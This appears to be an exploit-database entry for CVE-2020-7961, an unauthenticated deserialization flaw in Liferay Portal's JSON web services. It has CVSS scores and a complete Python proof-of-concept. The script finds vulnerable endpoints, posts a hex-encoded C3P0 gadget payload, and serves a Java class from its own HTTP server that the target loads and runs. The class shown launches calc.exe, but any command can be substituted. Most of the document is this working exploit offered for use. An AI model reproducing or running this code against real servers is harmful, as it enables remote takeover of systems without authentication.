Lucene search

K
zdtNu11secur1ty1337DAY-ID-34673
HistoryJul 12, 2020 - 12:00 a.m.

Liferay Portal Remote Code Execution Exploit

2020-07-1200:00:00
nu11secur1ty
0day.today
1420

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

Liferay Portal versions prior to 7.2.1 CE GA2 exploit that gains code execution due to deserialization of untrusted data sent to the JSON web services interface.

# Exploit Title: Data in Liferay Portal prior to 7.2.1 CE GA2 - Remote code execution
# Author: nu11secur1ty
# Vendor:
# Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7961
  https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
# CVE: CVE-2020-7961

[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)    
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]
'''
  Title: POC for Unauthenticated Remote code execution via JSONWS
(LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1
  POC author: nu11secur1ty
  Download link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
  Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
research
  Usage: python poc.py -h
  
  Gadget used: C3P0WrapperConnPool
  
  Installation:
  pip install requests
  pip install bs4
  
  Create file LifExp.java with example content:
  public class LifExp {
    static {
    try {
      String[] cmd = {"cmd.exe", "/c", "calc.exe"};
      java.lang.Runtime.getRuntime().exec(cmd).waitFor();
    } catch ( Exception e ) {
      e.printStackTrace();
      }
    }
  }

  javac LifExp.java
  Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
import binascii
from bs4 import BeautifulSoup
from datetime import datetime
from http.server import BaseHTTPRequestHandler,HTTPServer
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}

class HttpHandler(BaseHTTPRequestHandler):
  
  def do_GET(self):
    self.send_response(200)
    self.send_header('Content-type','application/java-vm')
    self.end_headers()
    f = open("LifExp.class", "rb")
    self.wfile.write(f.read())
    f.close()
    return

def log(level, msg):
  prefix = "[#] "
  if level == "error":
    prefix = "[!] "
  d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
  temp = "{} [{}] {}".format(prefix, d, msg)
  print(temp)

def find_href(body):
  soup = BeautifulSoup(body, "html.parser")
  return soup.find_all('a', href=True)
  
def find_class(body, clazz):
  soup = BeautifulSoup(body, "html.parser")
  return soup.findAll("div", {"class": clazz})

def find_id(body):
  soup = BeautifulSoup(body, "html.parser")
  return soup.findAll("form", {"id": "execute"})

def get_param(div):
  param = ""
  param_type = ""
  p_name = div.find("span", {"class": "lfr-api-param-name"})
  p_type = div.find("span", {"class": "lfr-api-param-type"})
  if p_name:
    param = p_name.text.strip()
  if p_type:
    param_type = p_type.text.strip()
    
  return (param, param_type)

def _do_get(url):
  resp = requests.get(url, proxies=PROXIES, verify=False)
  return resp
  
def do_get(host, path):
  url = "{}/{}".format(host, path)
  resp = _do_get(url)
  return resp
  
def _do_post(url, data):
  resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
  return resp
  
def do_post(host, path, data):
  url = "{}/{}".format(host, path)
  resp = _do_post(url, data)
  return resp
  
def find_endpoints(host, path):
  result = []
  resp = do_get(host, path)
  links = find_href(resp.text)
  for link in links:
    if "java.lang.Object" in link['href']:
      result.append(link['href'])
  return result

def find_parameters(body):
  div_params = find_class(body, "lfr-api-param")
  params = []
  for d in div_params:
    params.append(get_param(d))
  return params

def find_url(body):
  form = find_id(body)[0]
  return form['action']

def set_params(params, payload, payload_type):
  result = {}
  for param in params:
    p_name, p_type = param
    if p_type == "java.lang.Object":
      result[p_name+":"+payload_type] = payload
    
    result[p_name] = "1"
  return result

def pad(data, length):
  return data+"\x20"*(length-len(data))
  
def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
  p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
  resp = do_post(host, api_url, p)

banner = """POC author: nu11secur1ty\r\nBased on
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
research
      Debug: nu11secur1ty
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-7961
      REQUIREMENTS Python3"""

def main():
  print(banner)
  parser = argparse.ArgumentParser()
  parser.add_argument("-t", "--target-host", dest="target",
help="target host:port", required=True)
  parser.add_argument("-u", "--api-url", dest="api_url", help="path to
jsonws. Default: /api/jsonws", default="api/jsonws")
  parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP
server bind port. Default 9091", default=9091)
  parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP
server bind IP. Default 127.0.0.1. It can't be 0.0.0.0",
default="127.0.0.1")

  args = parser.parse_args()
  bind_port  = int(args.bind_port)
  bind_ip = args.bind_ip
  target_ip = args.target
  api_url = args.api_url
  endpoints = []
  vuln_endpoints = []
  
  PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
  PAYLOAD_PREFIX =
"""{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
  PAYLOAD_SUFIX = """740003466f6f;"}"""

  INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)

  INTERNALB = INTERNAL.encode('utf-8')
  
  INTERNALHEX = binascii.hexlify(INTERNALB)

  PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX
  
  
  try:
    log("info", "Looking for vulnerable endpoints:
{}/{}".format(target_ip, api_url))
    endpoints = find_endpoints(target_ip, api_url)
    if not endpoints:
      log("info", "Vulnerable endpoints not found!")
      sys.exit(1)
  except Exception as ex:
    log("error", "An error occured:")
    print(ex)
    sys.exit(1)
  
  try:
    server = HTTPServer((bind_ip, bind_port), HttpHandler)
    log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
    th = threading.Thread(target=server.serve_forever)
    th.daemon=True
    th.start()
    
    for e in endpoints:
      resp = do_get(target_ip, e)
      params = find_parameters(resp.text)
      url_temp = find_url(resp.text)
      vuln_endpoints.append((url_temp, params))
    
    for endpoint in vuln_endpoints:
      log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
      op = raw_input("Do you want to test it? Y/N: ")
      if op.lower() == "y":
        exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
        
    log("info", "CTRL+C to exit :)")
    while True:
      time.sleep(1)
  except KeyboardInterrupt:
    log("info", "Shutting down...")
    server.socket.close()
  except Exception as ex:
    log("error", "An error occured:")
    print(ex)
    sys.exit(1)
  
if __name__ == "__main__":
  main()


[Vendor]
JSONWS


[Product]
JSON

[Vulnerability Type]
- Deserialization of Untrusted Data in Liferay Portal prior to 7.2.1
CE GA2 allows remote attackers to execute arbitrary code via JSON web
services (JSONWS).

[References]
Disclaimer: The entry creation date may reflect when the CVE ID was
allocated or reserved, and does not necessarily indicate when this
vulnerability was discovered, shared with the affected vendor,
publicly disclosed, or updated in CVE.

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%